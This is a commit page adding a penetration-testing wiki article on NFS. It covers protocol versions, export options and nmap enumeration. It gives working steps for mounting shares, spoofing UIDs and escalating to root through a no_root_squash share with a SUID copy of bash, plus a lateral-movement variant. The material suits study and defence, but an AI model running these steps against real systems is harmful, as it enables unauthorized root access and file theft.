Skip to content

Commit 2c4c675

Browse files
Create article for NFS
1 parent b1383fc commit 2c4c675

File tree

1 file changed

+256
-0
lines changed
  • content/en/docs/services

1 file changed

+256
-0
lines changed

content/en/docs/services/nfs.md

Lines changed: 256 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,256 @@
1+
---
2+
title: NFS
3+
description: Network File System
4+
categories: [Services]
5+
tags: [Services, NFS]
6+
weight: 2
7+
---
8+
9+
## Service Info
10+
- Name: Network File System (NFS)
11+
- Purpose: Network Drive
12+
- Listening port: **111 TCP/UDP**, **2049 TCP/UDP**
13+
- OS: Unix-Like
14+
15+
Network File System (NFS) is developed by Sun Microsystems in 1984, allowing a user to access files over the network as much like local storage. It builds on the **Open Network Computing Remote Procedure Call (ONC-RPC/SUN-RPC)** that listens on port 111 of both UDP and TCP.
16+
17+
NFS versions:
18+
- NFSv2: Released in March 1989, Operates entirely via UDP
19+
- NFSv3: Released in Jun 1995, includes features such as variable file sizes and better error reporting. Not fully compatible with NFSv2 clients.
20+
- NFSv4: Released in December 2000, only listen on one TCP or UDP port 2049. It uses Kerberos Includes features such as Kerberos, ACLs, state-based operations, as well as performance and security improvements.
21+
22+
NFSv2 and NFSv3 has **no mechanism for authentication**, relying on RPC's options. The most common method is via UNIX UID/GID and group memberships. However, the UID/GID mapping on the client versus the server are not guaranteed to be the same. For example, if user `bob` has UID 1000 on the client, and user `alice` has UID 1000 on the server, `bob` would be able to access files belonging to `alice`. Therefore, NFSv2 and NFSv3 should **only be used in secured local networks**.
23+
24+
NFSv4 has rectified this by using kerberos for authentication. In additional, it also supports **Access Control Lists (ACLs)** and changed from being a **stateless** protocol in NFSv2 and NFSv3 to being a **stateful** protocol. NFSv4 marks a major evolution over the NFSv3. It now has a different, more modern security model.
25+
26+
## NFS Server Configuration
27+
The `/etc/exports` file contains a table of filesystem paths accessible by clients. The default contains comments with example configurations.
28+
```txt
29+
# /etc/exports: the access control list for filesystems which may be exported
30+
# to NFS clients. See exports(5).
31+
#
32+
# Example for NFSv2 and NFSv3:
33+
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
34+
#
35+
# Example for NFSv4:
36+
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
37+
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
38+
```
39+
40+
Configuration options:
41+
- **rw**: Read and write permissions.
42+
- **ro**: Read only permissions.
43+
- **sync**: Synchronous data transfer. (A bit slower)
44+
- **async**: Asynchronous data transfer. (A bit faster)
45+
- **secure**: Ports above 1024 will not be used.
46+
- **insecure**: Ports above 1024 will be used.
47+
- **no_subtree_check**: This option disables the checking of subdirectory trees.
48+
- **root_squash**: Assigns all permissions to files of root UID/GID 0 to the UID/GID of anonymous, which prevents root from accessing files on an NFS mount.
49+
- **nohide (DANGEROUS)**: Exposes nested mounts, which can unintentionally leak sensitive FS segments.
50+
- **no_root_squash (DANGEROUS)**: All files created by root are kept with the UID/GID 0.
51+
52+
## Footprinting
53+
Nmap scan with default scripts runs `rpcinfo` when rpcbind is found, which retrieves a list of running RPC services, their names and descriptions, as well as the ports they're using.
54+
```shell-session
55+
$ sudo nmap 10.129.14.128 -p111,2049 -sV -sC
56+
57+
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 17:12 CEST
58+
Nmap scan report for 10.129.14.128
59+
Host is up (0.00018s latency).
60+
61+
PORT STATE SERVICE VERSION
62+
111/tcp open rpcbind 2-4 (RPC #100000)
63+
| rpcinfo:
64+
| program version port/proto service
65+
| 100000 2,3,4 111/tcp rpcbind
66+
| 100000 2,3,4 111/udp rpcbind
67+
| 100000 3,4 111/tcp6 rpcbind
68+
| 100000 3,4 111/udp6 rpcbind
69+
| 100003 3 2049/udp nfs
70+
| 100003 3 2049/udp6 nfs
71+
| 100003 3,4 2049/tcp nfs
72+
| 100003 3,4 2049/tcp6 nfs
73+
| 100005 1,2,3 41982/udp6 mountd
74+
| 100005 1,2,3 45837/tcp mountd
75+
| 100005 1,2,3 47217/tcp6 mountd
76+
| 100005 1,2,3 58830/udp mountd
77+
| 100021 1,3,4 39542/udp nlockmgr
78+
| 100021 1,3,4 44629/tcp nlockmgr
79+
| 100021 1,3,4 45273/tcp6 nlockmgr
80+
| 100021 1,3,4 47524/udp6 nlockmgr
81+
| 100227 3 2049/tcp nfs_acl
82+
| 100227 3 2049/tcp6 nfs_acl
83+
| 100227 3 2049/udp nfs_acl
84+
|_ 100227 3 2049/udp6 nfs_acl
85+
2049/tcp open nfs_acl 3 (RPC #100227)
86+
MAC Address: 00:00:00:00:00:00 (VMware)
87+
88+
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
89+
Nmap done: 1 IP address (1 host up) scanned in 6.58 seconds
90+
```
91+
92+
Nmap also includes scripts written to enumerate NFS.
93+
- `nfs-ls` lists the contents of the share
94+
- `nfs-showmount` lists available shares and which clients are allowed to connect
95+
- `nfs-statfs` shows the stats on each share
96+
```shell-session
97+
$ sudo nmap --script nfs* 10.129.14.128 -sV -p111,2049
98+
99+
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-19 17:37 CEST
100+
Nmap scan report for 10.129.14.128
101+
Host is up (0.00021s latency).
102+
103+
PORT STATE SERVICE VERSION
104+
111/tcp open rpcbind 2-4 (RPC #100000)
105+
| nfs-ls: Volume /mnt/nfs
106+
| access: Read Lookup NoModify NoExtend NoDelete NoExecute
107+
| PERMISSION UID GID SIZE TIME FILENAME
108+
| rwxrwxrwx 65534 65534 4096 2021-09-19T15:28:17 .
109+
| ?????????? ? ? ? ? ..
110+
| rw-r--r-- 0 0 1872 2021-09-19T15:27:42 id_rsa
111+
| rw-r--r-- 0 0 348 2021-09-19T15:28:17 id_rsa.pub
112+
| rw-r--r-- 0 0 0 2021-09-19T15:22:30 nfs.share
113+
|_
114+
| nfs-showmount:
115+
|_ /mnt/nfs 10.129.14.0/24
116+
| nfs-statfs:
117+
| Filesystem 1K-blocks Used Available Use% Maxfilesize Maxlink
118+
|_ /mnt/nfs 30313412.0 8074868.0 20675664.0 29% 16.0T 32000
119+
| rpcinfo:
120+
| program version port/proto service
121+
| 100000 2,3,4 111/tcp rpcbind
122+
| 100000 2,3,4 111/udp rpcbind
123+
| 100000 3,4 111/tcp6 rpcbind
124+
| 100000 3,4 111/udp6 rpcbind
125+
| 100003 3 2049/udp nfs
126+
| 100003 3 2049/udp6 nfs
127+
| 100003 3,4 2049/tcp nfs
128+
| 100003 3,4 2049/tcp6 nfs
129+
| 100005 1,2,3 41982/udp6 mountd
130+
| 100005 1,2,3 45837/tcp mountd
131+
| 100005 1,2,3 47217/tcp6 mountd
132+
| 100005 1,2,3 58830/udp mountd
133+
| 100021 1,3,4 39542/udp nlockmgr
134+
| 100021 1,3,4 44629/tcp nlockmgr
135+
| 100021 1,3,4 45273/tcp6 nlockmgr
136+
| 100021 1,3,4 47524/udp6 nlockmgr
137+
| 100227 3 2049/tcp nfs_acl
138+
| 100227 3 2049/tcp6 nfs_acl
139+
| 100227 3 2049/udp nfs_acl
140+
|_ 100227 3 2049/udp6 nfs_acl
141+
2049/tcp open nfs_acl 3 (RPC #100227)
142+
MAC Address: 00:00:00:00:00:00 (VMware)
143+
144+
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
145+
Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds
146+
```
147+
148+
## Mounting NFS
149+
We can create a mount on our local filesystem for an NFS share. The protocol abstractions allows us to work on it as if it's part of our filesystem structure. First, we use `showmount` to enumerate available mounts on the server.
150+
{{% alert title="Note" %}}`showmount` relies on the `mountd` RPC call. In modern hardened NFS servers, this is often disabled. If you see nothing returned as a result of the following command, it does not *necessarily* mean there are no shares available. {{% /alert %}}
151+
```shell-session
152+
$ showmount -e 10.129.14.128
153+
154+
Export list for 10.129.14.128:
155+
/mnt/nfs 10.129.14.0/24
156+
```
157+
Then, we create a directory as the mounting point, and then use it to mount the share.
158+
```shell-session
159+
$ mkdir target-NFS
160+
$ sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
161+
$ cd target-NFS
162+
$ tree .
163+
164+
.
165+
└── mnt
166+
└── nfs
167+
├── id_rsa
168+
├── id_rsa.pub
169+
└── nfs.share
170+
171+
2 directories, 3 files
172+
```
173+
When we're done working with the NFS share, we can unmount it to prevent our filesystem from becoming unresponsive.
174+
```bash
175+
sudo umount ./target-NFS
176+
```
177+
178+
## NFS UID/GID Spoofing
179+
NFS servers are configured to trust the `uid` and `gid` of its clients (when Kerberos is not used). We can use this behavior to read and write files as **any UID**, even escalate our existing command execution . However, there are several settings that can change this behavior.
180+
- `all_squash`: Squashes all access mapping every user and group to `nobody`.
181+
```shell-session
182+
$ whoami
183+
user
184+
$ touch nfs_share/user.txt
185+
$ ls -l nfs_share
186+
-rw-r--r-- 1 nobody nobody 0 Dec 5 16:46 user.txt
187+
```
188+
- `root_squash`: Only access with uid 0 (root) is squashed to `nobody`. This is the default configuration on Linux.
189+
```shell-session
190+
$ whoami
191+
root
192+
$ touch nfs_share/root.txt
193+
$ ls -l nfs_share
194+
-rw-r--r-- 1 nobody nobody 0 Dec 5 16:46 root.txt
195+
```
196+
- `no_root_squash`: No squashing, all ownership information are preserved, including files owned by root.
197+
```shell-session
198+
$ whoami
199+
root
200+
$ touch nfs_share/root.txt
201+
$ ls -l nfs_share
202+
-rw-r--r-- 1 root root 0 Dec 5 16:46 root.txt
203+
```
204+
{{% alert title="Note" %}}
205+
When an NFSv4 share is configured to use Kerberos, the NFS server no longer trust clients blindly and verifies their identities via Kerberos service tickets. This configuration would completely remediate ID spoofing attacks. However, NFSv4 configured with Kerberos is uncommon due to the complexity of setting up supporting infrastructure for Kerberos and the performance penalty.
206+
{{% /alert %}}
207+
208+
### Privilege Escalation
209+
If `no_root_squash` is set, we can escalate our existing command execution access to root if we have Read/Write access on the NFS share. This is achieved by creating a copy of `Bash` inside the NFS share with owner set to root and its SUID bit set since `-p` option of `Bash` tells it to execute as the owner of the file if SUID is set.
210+
211+
To conduct this attack, We mount the share as root, then create a root-owned copy of bash inside the share with SUID set. Finally we get a root bash shell when we executed the root SUID copy from the target.
212+
```bash
213+
# On attacker machine as root
214+
mkdir /mnt/nfs
215+
mount -t nfs <target>:<share> /mnt/nfs
216+
cp /bin/bash /mnt/nfs/bash
217+
chmod 4755 /mnt/nfs/bash
218+
```
219+
```bash
220+
# On target machine
221+
./bash -p
222+
```
223+
{{% alert title="Note" %}} If the OS of your machine differs from the server's, there might be a chance the copy of `/bin/bash` from your machine won't run on the server due to different library versions. When this occurs, we can instead copy `/bin/bash` from inside the server to the share directory, then `chown` it as root from our local machine.
224+
{{% /alert %}}
225+
226+
### Lateral Movement
227+
If `no_root_squash` is not enable, we can still escalate our privilege to any non-root user on the system using a method similar to above. The main difference is that we now have to create a user on our local machine with the same UID as the user we want access to on the server.
228+
229+
First we get the UID of the target user on the server.
230+
```shell-session
231+
user@target$ id victim
232+
uid=1111(victim) gid=1111(victim) groups=1111(victim)
233+
```
234+
235+
Next, we create a user on our local machine with the same UID. The `useradd` utility has a `-u` option for us to specify a custom UID. Then we use `sudo` to run a bash shell as that user on our local machine.
236+
```bash
237+
# On Local Machine as a sudo user
238+
sudo useradd -u 1111 victim_local
239+
sudo -u victim_local bash
240+
```
241+
Now, we should be able to follow the rest of the UID/GID spoofing procedure above.
242+
```bash
243+
# On attacker machine as victim_local
244+
mkdir /mnt/nfs
245+
mount -t nfs <target>:<share> /mnt/nfs
246+
cp /bin/bash /mnt/nfs/bash
247+
chmod 4755 /mnt/nfs/bash
248+
```
249+
```bash
250+
# On target machine
251+
./bash -p
252+
```
253+
254+
## References
255+
- [Hacktricks - NFS No Root Squash Misconfiguration Privilege Escalation](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.html#nfs-no-root-squash-misconfiguration-privilege-escalation)
256+
- [Wikipedia - Network File System](https://en.wikipedia.org/wiki/Network_File_System)

0 commit comments

Comments
 (0)